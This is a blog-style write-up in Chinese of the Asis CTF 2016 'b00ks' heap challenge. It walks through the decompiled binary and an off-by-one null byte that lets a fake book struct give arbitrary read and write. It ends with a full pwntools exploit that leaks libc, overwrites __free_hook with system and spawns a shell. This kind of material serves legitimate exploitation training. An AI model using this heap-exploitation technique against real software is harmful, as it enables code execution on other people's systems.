百航鹿大联训 Asis_CTF_2016 b00ks

考察off-by-one。一直觉得一两字节的差错就有可能造成pwn,这道题就是很好的例子。需要把指针层次和结构体理清楚。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  title();
  name();
  while ( 1 )
  {
    v5 = menu(v3);
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
        create(v3);
        break;
      case 2:
        delete(v3);
        break;
      case 3:
        edit(v3);
        break;
      case 4:
        output(v3);
        break;
      case 5:
        name();
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

主函数。可以看到开头调用了一次name函数。后续可以使用操作5修改。

__int64 name()
{
  printf("Enter author name: ");
  if ( !(unsigned int)input(authorname, 32) )
    return 0LL;
  printf("fail to read author_name");
  return 1LL;
}

往一个固定的authorname地址输入固定32字节数据。

__int64 create()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  int v2; // [rsp+4h] [rbp-1Ch]
  void *v3; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+10h] [rbp-10h]
  void *v5; // [rsp+18h] [rbp-8h]

  v1 = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 )
    goto LABEL_2;
  printf("Enter book name (Max 32 chars): ");
  ptr = malloc(v1);
  if ( !ptr )
  {
    printf("unable to allocate enough space");
    goto LABEL_17;
  }
  if ( (unsigned int)input(ptr, v1 - 1) )
  {
    printf("fail to read name");
    goto LABEL_17;
  }
  v1 = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 )
  {
LABEL_2:
    printf("Malformed size");
  }
  else
  {
    v5 = malloc(v1);
    if ( v5 )
    {
      printf("Enter book description: ");
      if ( (unsigned int)input(v5, v1 - 1) )
      {
        printf("Unable to read description");
      }
      else
      {
        v2 = find();
        if ( v2 == -1 )
        {
          printf("Library is full");
        }
        else
        {
          v3 = malloc(0x20uLL);
          if ( v3 )
          {
            *((_DWORD *)v3 + 6) = v1;           // description length
            *((_QWORD *)book + v2) = v3;
            *((_QWORD *)v3 + 2) = v5;           // description
            *((_QWORD *)v3 + 1) = ptr;          // name
            *(_DWORD *)v3 = ++unk_202024;       // index
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
LABEL_17:
  if ( ptr )
    free(ptr);
  if ( v5 )
    free(v5);
  if ( v3 )
    free(v3);
  return 1LL;
}

这里比较乱,一定要理清楚。转化一下大致就是

struct data{
  int id;
  void *name;//void*为八字节
  void *description;
  int description_length;
}book[...];

你可能会像我一样好奇会不会发生malloc(0);之类的问题,事实上这会返回一个可以free但不能被解引用的指针,对应一个“极小chunk”,对做题没有影响。

__int64 delete()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)book + i) || **((_DWORD **)book + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)book + i) + 8LL));
      free(*(void **)(*((_QWORD *)book + i) + 16LL));
      free(*((void **)book + i));
      *((_QWORD *)book + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

删除一本书。没有置空字符串指针,可以用于泄漏。

__int64 edit()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  printf("Enter the book id you want to edit: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)book + i) || **((_DWORD **)book + i) != v1); ++i )
      ;
    if ( i == 20 )
    {
      printf("Can't find selected book!");
    }
    else
    {
      printf("Enter new book description: ");
      if ( !(unsigned int)input(
                            *(_BYTE **)(*((_QWORD *)book + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)book + i) + 24LL) - 1) )
        return 0LL;
      printf("Unable to read new description");
    }
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

允许修改一本书的description。注意这里长度固定是之前输入的description length。

int output()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v0 = *((_QWORD *)book + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((unsigned int **)book + i));
      printf("Name: %s\n", *(const char **)(*((_QWORD *)book + i) + 8LL));
      printf("Description: %s\n", *(const char **)(*((_QWORD *)book + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", (const char *)authorname);
    }
  }
  return v0;
}

输出每本书的内容,可以用于泄漏。

__int64 __fastcall input(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( a2 <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, a1, 1uLL) != 1 )
      return 1LL;
    if ( *a1 == 10 )
      break;
    ++a1;
    if ( i == a2 )
      break;
  }
  *a1 = 0;                                      // //添加\0结束符,off-by-one
  return 0LL;
}

是的,这个自制的输入函数就是本题最大的漏洞点。除了用户输入的长度以外,它还在最后自行添加了一个隔断符。一般来说这一个字节无关痛痒,但这里我们是否有足够的空间呢?请看VCR(误)

我们发现book和authorname都在bss段上,前者对应地址0x202060,后者对应地址0x202040,两者相差0x20。然而name函数中,我们可以写入的长度刚好为32!于是那一字节隔断符就会溢出到book[0]的内容中,造成漏洞


我们写一段测试代码看一下。

author("f"*0x20)
create(0x90,"aaaa",0x50,"bbbb")
create(0x60,"cccc",0x40,"dddd")
pause()
rename("f"*0x20)

依次为name0,description0,data0(结构体),name1,description1,data1。
可以发现这些chunk是紧挨在一起的,由于size不变,知道了一本书任意一个子变量的地址就可以知道其他书的地址。

小trick,可以通过search指令查找authorname的地址。

authorname下游0x20字节开始就是book数组。目前存放了data0和data1的地址。

rename之后,发现book[0]的最低两位被改成了'\0'(小端序),与前面的推断是相符的。


如果先写满32个字符,再创建book[0],结束符'\0'就会被data0的地址覆盖掉。于是output的时候,data0的地址会被连带着输出来!然后偏移固定,每本书的每个子变量的地址都可以推断出来。

如果某个子变量被free进了unsorted bin,并且我们刚好能够阅读其fd,基址不就泄漏了?

但是,要怎么阅读某个特定地址的内容呢?

我们假定通过合理安排name和description的size,达成了如上格局。使用操作5修改authorname后,book[0]的最低两位被覆盖成0x00,必然减小。此时book[0]指向的位置就变成了假的data0,这个fake_data0位于description0之内。
也就是说,可以在description0内构造fake_data0,它包含指向fake_name0,fake_description0的指针,这些都是我们可以控制的,其中fake_description0还是可以编辑的。
即,实现了任意读写。


考虑构建两本书,free掉第二本书,使name1(description1也行)进入unsorted bin。按上述方式,泄露出name1地址,构造fake_data0,使得fake_name0指向name1。
这样,output的时候,输出的name0实际上就是name1的fd,即main_arena
基址get。


然而,实施攻击的时候你发现一个问题。你只能修改*fake_description0
我们希望让fake_description0=&__free_hook,之后把它的内容改成system就行了。
但是在泄漏基址前,你就已经确定了fake_description0;之后book[0]的最低两位变成0x00,没法再改;fake_description0也没法再改了。
于是我们考虑构建book2,中转一下。
一开始,就让fake_description0=&description2(根据前文所述的固定偏移可以推出&description2)。获得基址后,编辑0号书,可以做到*fake_description0=&__free_hook=*(&description2)=description2
之后,编辑2号书,可以做到*description2=__free_hook=system。大功告成。
这里套了三层,很容易搞混淆,还是建议pwndbg里面实操,更好理解。
(嘛,硬要让0号书自己指向自己,好像也不是不行……)


题目交互的时候使用1 base,但book数组是按0 base存的。前文的分析都基于0 base,请注意一下。

from pwn import *
context.log_level="debug"
io=process("./b00ks")
elf=ELF("./b00ks")
def author(content):
    io.sendlineafter("Enter author name: ",content)
def create(nsize,name,csize,content):
    io.sendlineafter("> ","1")
    io.sendlineafter("Enter book name size: ",str(nsize))
    io.sendlineafter("Enter book name (Max 32 chars): ",name)
    io.sendlineafter("Enter book description size: ",str(csize))
    io.sendlineafter("Enter book description: ",content)
def delete(index):
    io.sendlineafter("> ","2")
    io.sendlineafter("Enter the book id you want to delete: ",str(index))
def edit(index,content):
    io.sendlineafter("> ","3")
    io.sendlineafter("Enter the book id you want to edit: ",str(index))
    io.sendlineafter("Enter new book description: ",content)
def output(opt):
    io.sendlineafter("> ","4")
    if opt==0:
        io.recvuntil("Name: ")
        return io.recvline()[:-1]#去除结尾的换行符
    else:
        io.recvuntil("Author: ")
        return io.recvline()[:-1]#去除结尾的换行符
def rename(content):
    io.sendlineafter("> ","5")
    author(content)
author("a"*0x20)
create(0xd0,"book1",0xd0,"des1")#用于做fake,这里要求两个size都尽量大一些,使得fake_data能够卡在description的中间,可以自行多调整一下
create(0xd0,"book2",0xd0,"des2")#放进unsorted bin,用于泄漏,size要足够大
create(0xd0,"book3",0xd0,"des3")#用于任意写
create(0xd0,"book4",0xd0,"/bin/sh")
addr2=u64(output(1)[32:].strip().ljust(8,b'\0'))+0x30#本来泄露的是第一本书data的地址,加一个0x30偏移就是第二本书的name
print(hex(addr2))
edit(1,p64(1)+p64(addr2)+p64(addr2+0x3c0)+p64(0xd0))
#构造fake_data
#addr2+0x3c0表示第三本书的description地址,都可以用pwndbg试出来
#注意还要构造fake_description_length,总之要大于0,不然后续修改description的时候一个字都输不了
rename("b"*0x20)
delete(2)#放入unsorted bin
libc_addr=u64(output(0).strip().ljust(8,b'\0'))-0x3c3b78
print(hex(libc_addr))
free_addr=libc_addr+0x3c57a8
system_addr=libc_addr+0x45380
edit(1,p64(free_addr)+p64(0xd0))#通过修改第一本书,把第三本书的description指向__free_hook,同样要记得构造description_length
edit(3,p64(system_addr))#通过修改第三本书,把__free_hook改成system
delete(4)#触发shell
io.interactive()

网上很多博客在基址泄漏那一步用的是mmap。具体来说,在amd-64系统下,单次malloc达到128kb及以上(0x20000),堆分配不再采用brk,而是通过mmap映射一块内存。
他们认为这个地址和libc基址的偏移是固定的。然而我亲测该偏移并不固定,必须关闭ASLR才行。还是用unsorted bin吧。

posted @ 2026-01-23 01:42  Fan_sheng  阅读(2)  评论(0)    收藏  举报